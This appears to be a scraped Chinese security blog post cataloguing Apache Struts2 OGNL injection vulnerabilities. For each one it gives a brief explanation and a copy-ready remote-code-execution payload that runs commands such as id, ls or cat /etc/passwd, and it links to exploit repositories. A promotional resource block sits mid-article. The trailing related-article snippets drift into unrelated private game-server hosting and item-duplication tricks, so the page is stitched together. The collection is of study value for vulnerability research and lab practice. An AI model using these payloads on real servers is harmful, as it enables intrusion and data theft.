Struts2 漏洞集合

article/2025/9/23 7:57:13

Struts2 漏洞集合

总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。

漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署

S2-001 (CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

影响版本

Struts 2.0.0 – Struts 2.0.8

复现过程

在框中输入%{1+2},会把其中的 value 值进行计算

image

执行之后,变成了3( OGNL 表达式%{value}执行成功)

image

Poc

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]
{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new 
java.io.BufferedReader(#c),#e=new 
char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println
(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

image

【一>所有资源获取<一】
1、电子书籍(白帽子)
2、安全大厂内部视频
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

S2-007

当 -validation.xml配置的验证规则。如果类型验证转换失败,则服务器将拼接用户提交的表单值字符串,然后执行OGNL表达式解析并返回,造成OGNL表达式注入。从而可能造成远程执行代码。

当用户 age 以str而不是的形式提交时 int,服务器将拼接 “‘“ + value + “‘“ 代码,然后使用OGNL表达式对其进行解析。为了成功完成任务,我们需要找到一个配置有相似验证规则的表单字段,以产生转换错误。然后,您可以通过注入SQL单引号的方式注入任何OGNL表达式代码

影响版本

2.0.0 – 2.2.3

Poc

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new 
java.lang.Boolean("false") 
,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,
@org.apache.commons.io.IOUtils@toString
(@java.lang.Runtime@getRuntime().exec('find /tmp/ -name flag*').getInputStream())) + '

image

S2-013(CVE-2013-1966)

Apache Struts2的s:a和s:url标签都提供了一个includeParams属性。此属性允许使用的值包括none、get、all。当该属性被设置为get或all时,Apache Struts2会将用户提交的参数值作为Ognl表达式执行。攻击者可以提交带有恶意的Ongl表达式,达到执行任意Java代码的目的。只要基于Apache Struts2开发的JSP代码中使用了url/a标签并且设置了includeParams属性为all或get,远程攻击者即可利用此漏执行任意命令。

image

Poc (注:poc中的符号需要进行 url 编码之后才可以)

/link.action?fakeParam=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

image

S2-012 (CVE-2013-1965)

OGNL 评估已在S2-003和S2-005和S2-009 中得到解决,但是,由于它只涉及参数的名称,因此结果是基于将可接受的参数名称列入白名单并拒绝评估参数中包含的表达式的结果修复名称,仅部分关闭了漏洞。

第二次评估发生在重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时。
这使得恶意用户可以将任意 OGNL 语句放入由操作公开的任何未经处理的 String 变量中,并将其评估为 OGNL 表达式以启用方法执行和执行任意方法,从而绕过 Struts 和 OGNL 库保护。

在配置文件中 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,可能会导致 OGNL 表达式命令执行。

Poc

%3d%25{%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{"cat"%2c "%2fetc%2fpasswd"})).redirectErrorStream(true).start()%2c%23b%3d%23a.getInputStream()%2c%23c%3dnew java.io.InputStreamReader(%23b)%2c%23d%3dnew java.io.BufferedReader(%23c)%2c%23e%3dnew char[50000]%2c%23d.read(%23e)%2c%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse")%2c%23f.getWriter().println(new java.lang.String(%23e))%2c%23f.getWriter().flush()%2c%23f.getWriter().close()}%20

image

S2-015 (CVE-2013-2135、CVE-2013-2134)

Struts 2 允许基于通配符定义动作映射,如下所示:

<action name="*" class="example.ExampleSupport"><result>/example/{1}.jsp</result>
</action>

如果请求不匹配任何其他定义的动作,它将被匹配*并且请求的动作名称将用于根据动作名称加载 JSP 文件。并且由于 { 1} 的值被威胁为 OGNL 表达式,因此允许在服务器端执行任意 Java 代码。这个漏洞是两个问题的结合:

  • 请求的操作名称未转义或再次检查白名单
  • TextParseUtil.translateVariables使用组合$%开放字符时对 OGNL 表达式的双重评估。

Poc

/$%7B%20%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())%7D.action

image

S2-048 (CVE-2017-9791)

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同时这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

image

Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

EXP连接 :https://github.com/dragoneeg/Struts2-048

注:仅供参考,请勿用作非法用途。

S2-019

Apache Struts 2.3.15.2之前版本的“Dynamic Method Invocation”机制是默认开启的,仅提醒用户如果可能的情况下关闭此机制,这样就存在远程代码执行漏洞,远程攻击者可利用此漏洞在受影响应用上下文中执行任意代码。

Poc

/struts2-showcase-2.1.6/showcase.action?debug=command&expression=%23a%3D(new java.lang.ProcessBuilder('ls')).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char[50000]%2C%23d.read(%23e)%2C%23out%3D%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23out.getWriter().println('dbapp%3A'%2bnew java.lang.String(%23e))%2C%23out.getWriter().flush()%2C%23out.getWriter().close()%0A

S2-053

继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。

当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。

影响范围

Struts 2.0.1 – Struts 2.3.33、Struts 2.5 – Struts 2.5.10

在框中输入 %{1+1} ,回显值 2,说明执行成功

image

Poc

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

image

S2-057

Apache wiki更新了一个Struts2的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。

当Struts2的漏洞利用以下条件时:

  • alwaysSelectFullNamespace值为true
  • action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

Poc

image

Poc(需要url编码)

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).
(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#a=@java.lang.Runtime@getRuntime().exec('id')).
(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

EXP连接 : https://github.com/mazen160/struts-pwn_CVE-2018-11776

注:仅供参考,请勿用作非法用途。

S2-037 S2-052 s2-033 (这几个Poc 可以重复使用)

Poc

url/orders/4/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?
&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=id

image

S2-059

Poc

=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

image

image

S2-045(CVE-2017-5638) S2-046 (POC通用)

Apache官方发布Struts 2 紧急漏洞公告(S2-046),CVE编号CVE-2017-5638。公告中披露 ,当基于Jakarta插件上传文件时,可导致远程代码执行。例如在系统中获得管理员权限,执行添加用户。可任意查看、修改或删除文件。造成机密数据泄露,重要信息遭到篡改等重大危害。

S2-045漏洞影响的版本有:

Struts 2.3.5 – Struts 2.3.31,Struts 2.5 – Struts 2.5.10

Poc

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].
addHeader('vulhub',233*233)}.multipart/form-data

image

Poc

%{(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

http://chatgpt.dhexx.cn/article/6SF0JFaD.shtml

相关文章

Vulhub靶场之struts2漏洞复现

简介 struts2漏洞中属s2系列杀伤力最大&#xff0c;可以造成远程命令执行漏洞。 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530)&#xff0c;在使用某些tag等情况下可能…

java struts2 漏洞_Struts2漏洞利用

Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 - Struts 2.3.14.1 漏洞利用 任意命令执行POC&#xff1a; ${(#_memberAccess["allowStaticMethodAccess"]true,#ajava.lang.RuntimegetRuntime().exec(id).getInputStream(),#bnew java.io.InputStre…

struts2漏洞监测_全版本struts2漏洞练习

docker中有struts2全版本的漏洞平台 1、首先在docker中进行下载&#xff1a; # docker pull 2d8ru/struts2 2、其次运行&#xff1a;(48729为物理机的端口&#xff0c;可随意指定) # docker run --name struts2 -p48729:8080 -d 2d8ru/struts2 3、下载struts2漏洞扫描工具&…

Struts2漏洞复现

一. S2-016复现 打开测试靶场&#xff0c;测试该网站存在index.action路径 漏洞原理: 参数action的值redirect以及redirectAction没有正确过滤&#xff0c;导致ognl代码执行 测试POC&#xff1a; 2.1 /index.action?redirect:%25{3*4}2.2 /index.action?redirect:%…

java struts2 漏洞_Struts2漏洞简述

S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号&#xff0c;S2-003对#号进行过滤&#xff0c;但是没有考虑到unicode编码情况&#xff0c;导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止…

【渗透测试】Struts2系列漏洞

目录 &#x1f337;S2-001 &#x1f33c;1、漏洞原理 &#x1f33c;2、影响版本 &#x1f33c;3、验证方法 &#x1f337;S2-005 &#x1f33c;1、漏洞原理 &#x1f33c;2、影响版本 &#x1f33c;3、验证方法&#xff08;无回显&#xff09; &#x1f33c;4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介&#xff1a; 二、漏洞复现1、S2-001&#xff08;OGNL 循环解析导致的 RCE 漏洞&#xff09;漏洞原理&#xff1a;影响版本&#xff1a;环境搭建&#xff1a;poc&#xff1a;漏洞利用&#xff1a; 2、S2-005&#xff08;S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言&#xff1a; 本篇文章中复现的漏洞不是特别全面&#xff0c;但是挑选了最近两年的漏洞进行复现&#xff0c;旨在对漏洞进行有用复现&#xff0c;毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍&#xff1a; Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接&#xff0c;文件涉及敏感无法分享&#xff0c;需要的可以私下给你发。 企鹅号&#xff1a;1404765471 首先准备 1.三台服务器&#xff08;服务端服务器 微端服务器 列表服务器&#xff09;推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服&#xff1f;不会技术自己能开服吗&#xff1f;传奇开服需要准备什么&#xff1f;前期需要投入多少&#xff1f; 作为经典怀旧游戏&#xff0c;传奇赢得了许多人的青睐&#xff0c;在这个科技的时代&#xff0c;玩服已经满足不了了&#xff0c;多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步&#xff0c;因为每个GM思路不同&#xff0c;想法不同&#xff0c;他给玩家展现出来的版本也不同&#xff0c;就是自己玩单机也要去改&#xff0c;谁不想爆率高点对吧&#xff0c;今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏&#xff0c;盛大游戏公司于2001年9月发布&#xff0c;随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱&#xff0c;经历了多次升级换代&#xff0c;现已转变为游戏体验更加细腻的页游和手游&#xff0c;成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏&#xff0c;可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程&#xff0c;希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具&#xff1a; 1、传奇服务端&#xff08;版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法&#xff1a; 一些人&#xff0c;连简单的搭建网站都不会&#xff0c;还要请技术帮忙&#xff0c;真是牛B&#xff0c;这里简单介绍下几种办法 一&#xff1a;2003系统下&#xff0c;直接使用IIS&#xff0c;这个太简单了&#xff0c;桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么&#xff0c;就想到搭一个私服游戏&#xff0c;学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码&#xff1a;https://download.csdn.net/download/qq_37258192/11997500 &#xff08;重新上传了1次&#xff0c;积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面&#xff0c;一般默认的怪物爆率就已经非常不错&#xff0c;但根据服务器人数&#xff0c;有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备&#xff0c;控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了&#xff0c;但是新手还是不断的在涌入进来&#xff0c;想学私服技术的也很多。 今天来说一下怎么设置GM&#xff0c;和怎么看命了吧&#xff01;本来想做一个视频的&#xff0c;但是我觉得这个太过简单&#xff0c;图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候&#xff0c;最大的乐趣莫过于一起PK打装备&#xff0c;真的是让人激情四射了&#xff0c;想想都有点小激动呢&#xff0c;呵呵&#xff01;但是等了做了GM以后&#xff0c;这点乐趣真的没有了&#xff0c;感觉打装备PK没有什么意思&#xff0c;倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料&#xff0c;这个漏洞教学网上有人发过&#xff0c;不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的&#xff01;最终目的就是让你们加他们所谓的群啊之类的引流罢了&#xff0c; 今天我给大家一个…